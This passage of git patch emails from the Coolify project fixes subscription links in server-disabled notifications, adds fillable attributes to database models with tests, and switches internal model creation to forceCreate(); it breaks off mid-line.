LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-config', + 'mount_path' => '/config', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolumes = $newApp->persistentStorages()->get(); + + expect($clonedVolumes)->toHaveCount(2); + + $clonedUuids = $clonedVolumes->pluck('uuid')->toArray(); + $originalUuids = [$volume1->uuid, $volume2->uuid]; + + // All cloned UUIDs should be unique and different from originals + expect($clonedUuids)->each->not->toBeIn($originalUuids); + expect(array_unique($clonedUuids))->toHaveCount(2); +}); From 31ae8dd9db14d7133f1498535d7d65d3847c0fe4 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Mon, 30 Mar 2026 11:37:28 +0530 Subject: [PATCH 81/95] fix(notification): updated cloud subscription links to valid url --- app/Notifications/Server/ForceDisabled.php | 8 ++++---- resources/views/emails/server-force-disabled.blade.php | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/app/Notifications/Server/ForceDisabled.php b/app/Notifications/Server/ForceDisabled.php index 7a1f7bcbf..4b56f5860 100644 --- a/app/Notifications/Server/ForceDisabled.php +++ b/app/Notifications/Server/ForceDisabled.php @@ -40,7 +40,7 @@ public function toDiscord(): DiscordMessage color: DiscordMessage::errorColor(), ); - $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscriptions)'); + $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscription)'); return $message; } @@ -48,7 +48,7 @@ public function toDiscord(): DiscordMessage public function toTelegram(): array { return [ - 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to enable the server again [here](https://app.coolify.io/subscription).", ]; } @@ -57,7 +57,7 @@ public function toPushover(): PushoverMessage return new PushoverMessage( title: 'Server disabled', level: 'error', - message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscription).", ); } @@ -66,7 +66,7 @@ public function toSlack(): SlackMessage $title = 'Server disabled'; $description = "Server ({$this->server->name}) disabled because it is not paid!\n"; $description .= "All automations and integrations are stopped.\n\n"; - $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscriptions'; + $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscription'; return new SlackMessage( title: $title, diff --git a/resources/views/emails/server-force-disabled.blade.php b/resources/views/emails/server-force-disabled.blade.php index 805df3296..4ab46b5a0 100644 --- a/resources/views/emails/server-force-disabled.blade.php +++ b/resources/views/emails/server-force-disabled.blade.php @@ -1,5 +1,5 @@ Your server ({{ $name }}) disabled because it is not paid! All automations and integrations are stopped. - Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions). + Please update your subscription to enable the server again [here](https://app.coolify.io/subscription). From c0c0349880395e8780da53d8b90a353bc153653b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 08:11:23 +0200 Subject: [PATCH 82/95] refactor(models): add fillable attributes for database configuration options Add explicit fillable attributes to Service and all Standalone* database models for new configuration options: public_port_timeout, enable_ssl, ssl_mode, is_log_drain_enabled, is_include_timestamps, and custom_docker_run_options. Add tests to MassAssignmentProtectionTest to verify these attributes are properly protected by mass assignment protection across all relevant models. --- app/Models/Service.php | 1 + app/Models/StandaloneClickhouse.php | 3 ++ app/Models/StandaloneDragonfly.php | 3 ++ app/Models/StandaloneKeydb.php | 3 ++ app/Models/StandaloneMariadb.php | 4 ++ app/Models/StandaloneMongodb.php | 6 +++ app/Models/StandaloneMysql.php | 6 +++ app/Models/StandalonePostgresql.php | 6 +++ app/Models/StandaloneRedis.php | 5 ++ .../Feature/MassAssignmentProtectionTest.php | 52 +++++++++++++++++++ 10 files changed, 89 insertions(+) diff --git a/app/Models/Service.php b/app/Models/Service.php index b3ff85e53..491924c49 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -57,6 +57,7 @@ class Service extends BaseModel 'service_type', 'config_hash', 'compose_parsing_version', + 'is_container_label_escape_enabled', ]; protected $appends = ['server_status', 'status']; diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index c192e5360..c6d91dd55 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -37,6 +37,9 @@ class StandaloneClickhouse extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'custom_docker_run_options', + 'clickhouse_db', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 7cc74f0ce..af309f980 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -36,6 +36,9 @@ class StandaloneDragonfly extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index 7a0d7f03d..ee07b4783 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -37,6 +37,9 @@ class StandaloneKeydb extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index 6cac9e5f4..ad5220496 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -39,6 +39,10 @@ class StandaloneMariadb extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 5ca4ef5d3..590c173e1 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -37,6 +37,12 @@ class StandaloneMongodb extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index cf8d78a9c..d991617b7 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -38,6 +38,12 @@ class StandaloneMysql extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 7db334c5d..71034427f 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -40,6 +40,12 @@ class StandalonePostgresql extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 2320619cf..4eb28e038 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -34,6 +34,11 @@ class StandaloneRedis extends BaseModel 'last_restart_at', 'last_restart_type', 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php index 18de67ce7..436d0736b 100644 --- a/tests/Feature/MassAssignmentProtectionTest.php +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -168,6 +168,58 @@ expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); }); + test('standalone database models allow mass assignment of public_port_timeout', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('public_port_timeout')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'"); + } + }); + + test('standalone database models allow mass assignment of SSL fields where applicable', function () { + $sslModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + ]; + + foreach ($sslModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('enable_ssl')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'"); + } + + // Clickhouse has no SSL columns + expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse(); + + $sslModeModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMongodb::class, + ]; + + foreach ($sslModeModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('ssl_mode')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'"); + } + }); + test('Application fill ignores non-fillable fields', function () { $application = new Application; $application->fill([ From 1da1f32f0e38b051480c13a265e6ce0a3dc35822 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:04:11 +0200 Subject: [PATCH 83/95] refactor: use forceCreate() for internal model creation Replace create() with forceCreate() across internal model creation operations to bypass mass assignment protection. This is appropriate for internal code that constructs complete model state without user input. Add InternalModelCreationMassAssignmentTest to ensure internal model creation behavior is properly tested. Optimize imports by using shortened Livewire attribute references and removing unused imports. --- app/Actions/Server/InstallDocker.php | 2 +- app/Console/Commands/Emails.php | 2 +- .../Controllers/Api/ProjectController.php | 9 +- .../Controllers/Api/ServicesController.php | 2 +- app/Http/Controllers/Webhook/Bitbucket.php | 4 +- app/Http/Controllers/Webhook/Gitea.php | 4 +- app/Http/Controllers/Webhook/Gitlab.php | 4 +- app/Jobs/ProcessGithubPullRequestWebhook.php | 4 +- app/Livewire/Boarding/Index.php | 15 ++-- app/Livewire/Destination/New/Docker.php | 5 +- app/Livewire/Project/AddEmpty.php | 2 +- app/Livewire/Project/Application/Previews.php | 6 +- app/Livewire/Project/CloneMe.php | 2 +- app/Livewire/Project/New/DockerCompose.php | 2 +- app/Livewire/Project/New/DockerImage.php | 2 +- app/Livewire/Project/New/EmptyProject.php | 2 +- .../Project/New/GithubPrivateRepository.php | 5 +- .../New/GithubPrivateRepositoryDeployKey.php | 5 +- .../Project/New/PublicGitRepository.php | 9 +- app/Livewire/Project/New/SimpleDockerfile.php | 2 +- app/Livewire/Project/Resource/Create.php | 2 +- app/Livewire/Project/Show.php | 2 +- app/Livewire/Server/Destinations.php | 4 +- app/Livewire/SettingsBackup.php | 7 +- app/Models/Application.php | 2 +- app/Models/Project.php | 4 +- app/Models/Server.php | 11 +-- bootstrap/helpers/parsers.php | 87 ++++++++++--------- openapi.json | 3 +- openapi.yaml | 3 +- templates/service-templates-latest.json | 24 ++++- templates/service-templates.json | 20 ++++- .../Feature/ApplicationHealthCheckApiTest.php | 6 +- tests/Feature/ComposePreviewFqdnTest.php | 9 +- .../DatabaseEnvironmentVariableApiTest.php | 2 +- .../DatabasePublicPortTimeoutApiTest.php | 8 +- ...nternalModelCreationMassAssignmentTest.php | 73 ++++++++++++++++ tests/Feature/ServiceDatabaseTeamTest.php | 33 +++---- tests/Feature/StorageApiTest.php | 2 +- tests/Unit/ServiceParserImageUpdateTest.php | 14 +-- tests/v4/Browser/DashboardTest.php | 6 +- 41 files changed, 265 insertions(+), 145 deletions(-) create mode 100644 tests/Feature/InternalModelCreationMassAssignmentTest.php diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index 2e08ec6ad..8bb85c7fc 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -49,7 +49,7 @@ public function handle(Server $server) }'); $found = StandaloneDocker::where('server_id', $server->id); if ($found->count() == 0 && $server->id) { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => 'coolify', 'network' => 'coolify', 'server_id' => $server->id, diff --git a/app/Console/Commands/Emails.php b/app/Console/Commands/Emails.php index 43ba06804..462155142 100644 --- a/app/Console/Commands/Emails.php +++ b/app/Console/Commands/Emails.php @@ -136,7 +136,7 @@ public function handle() $application = Application::all()->first(); $preview = ApplicationPreview::all()->first(); if (! $preview) { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 1, 'pull_request_html_url' => 'http://example.com', diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index da553a68c..c8638be0d 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -5,6 +5,7 @@ use App\Http\Controllers\Controller; use App\Models\Project; use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; @@ -234,7 +235,7 @@ public function create_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -257,7 +258,7 @@ public function create_project(Request $request) ], 422); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $request->name, 'description' => $request->description, 'team_id' => $teamId, @@ -347,7 +348,7 @@ public function update_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -600,7 +601,7 @@ public function create_environment(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index fbf4b9e56..6a742fe1b 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -432,7 +432,7 @@ public function create_service(Request $request) if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::create($servicePayload); + $service = Service::forceCreate($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; if ($request->has('is_container_label_escape_enabled')) { diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index 183186711..e59bc6ead 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -119,7 +119,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -128,7 +128,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index a9d65eae6..6ba4b33cf 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -144,7 +144,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -153,7 +153,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 08e5d7162..fe4f17d9e 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -177,7 +177,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -186,7 +186,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 041cd812c..01a512439 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -118,7 +118,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp if (! $found) { if ($application->build_pack === 'dockercompose') { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, @@ -127,7 +127,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp ]); $preview->generate_preview_fqdn_compose(); } else { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 7e1121860..170f0cdea 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -9,6 +9,7 @@ use App\Models\Team; use App\Services\ConfigurationRepository; use Illuminate\Support\Collection; +use Livewire\Attributes\Url; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -19,18 +20,18 @@ class Index extends Component 'prerequisitesInstalled' => 'handlePrerequisitesInstalled', ]; - #[\Livewire\Attributes\Url(as: 'step', history: true)] + #[Url(as: 'step', history: true)] public string $currentState = 'welcome'; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $selectedServerType = null; public ?Collection $privateKeys = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingPrivateKey = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $privateKeyType = null; public ?string $privateKey = null; @@ -45,7 +46,7 @@ class Index extends Component public ?Collection $servers = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingServer = null; public ?string $remoteServerName = null; @@ -66,7 +67,7 @@ class Index extends Component public Collection $projects; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedProject = null; public ?Project $createdProject = null; @@ -440,7 +441,7 @@ public function selectExistingProject() public function createNewProject() { - $this->createdProject = Project::create([ + $this->createdProject = Project::forceCreate([ 'name' => 'My first project', 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 5c1b178d7..141235590 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -5,7 +5,6 @@ use App\Models\Server; use App\Models\StandaloneDocker; use App\Models\SwarmDocker; -use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -78,7 +77,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = SwarmDocker::create([ + $docker = SwarmDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, @@ -89,7 +88,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = StandaloneDocker::create([ + $docker = StandaloneDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, diff --git a/app/Livewire/Project/AddEmpty.php b/app/Livewire/Project/AddEmpty.php index 974f0608a..a2581a5c9 100644 --- a/app/Livewire/Project/AddEmpty.php +++ b/app/Livewire/Project/AddEmpty.php @@ -30,7 +30,7 @@ public function submit() { try { $this->validate(); - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->name, 'description' => $this->description, 'team_id' => currentTeam()->id, diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 41f352c14..576df8589 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -182,7 +182,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, @@ -196,7 +196,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, @@ -236,7 +236,7 @@ public function deploy(int $pull_request_id, ?string $pull_request_html_url = nu $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - ApplicationPreview::create([ + ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index e236124e9..93eb2a78c 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -100,7 +100,7 @@ public function clone(string $type) if ($foundProject) { throw new \Exception('Project with the same name already exists.'); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->newName, 'team_id' => currentTeam()->id, 'description' => $this->project->description.' (clone)', diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 2b92902c6..99fb2efc4 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -54,7 +54,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $service = Service::create([ + $service = Service::forceCreate([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, 'server_id' => (int) $server_id, diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 268333d07..8becdf585 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -133,7 +133,7 @@ public function submit() // Determine the image tag based on whether it's a hash or regular tag $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'docker-image-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/New/EmptyProject.php b/app/Livewire/Project/New/EmptyProject.php index 0360365a9..1cdc7e098 100644 --- a/app/Livewire/Project/New/EmptyProject.php +++ b/app/Livewire/Project/New/EmptyProject.php @@ -10,7 +10,7 @@ class EmptyProject extends Component { public function createEmptyProject() { - $project = Project::create([ + $project = Project::forceCreate([ 'name' => generate_random_name(), 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 86424642d..6aa8db085 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -8,6 +8,7 @@ use App\Models\StandaloneDocker; use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Route; use Livewire\Component; @@ -168,7 +169,7 @@ public function submit() 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { @@ -188,7 +189,7 @@ public function submit() $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 94ef23cc9..ba058c6ff 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Illuminate\Support\Str; use Livewire\Component; use Spatie\Url\Url; @@ -66,7 +67,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]; } @@ -182,7 +183,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = Application::forceCreate($application_init); $application->settings->is_static = $this->is_static; $application->settings->save(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 9c9ddb8ce..6bd71d246 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Carbon\Carbon; use Livewire\Component; use Spatie\Url\Url; @@ -72,7 +73,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } @@ -233,7 +234,7 @@ private function getBranch() return; } - if ($this->git_source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->git_source->getMorphClass() === GithubApp::class) { ['rate_limit_remaining' => $this->rate_limit_remaining, 'rate_limit_reset' => $this->rate_limit_reset] = githubApi(source: $this->git_source, endpoint: "/repos/{$this->git_repository}/branches/{$this->git_branch}"); $this->rate_limit_reset = Carbon::parse((int) $this->rate_limit_reset)->format('Y-M-d H:i:s'); $this->branchFound = true; @@ -298,7 +299,7 @@ public function submit() $new_service['source_id'] = $this->git_source->id; $new_service['source_type'] = $this->git_source->getMorphClass(); } - $service = Service::create($new_service); + $service = Service::forceCreate($new_service); return redirect()->route('project.service.configuration', [ 'service_uuid' => $service->uuid, @@ -345,7 +346,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = 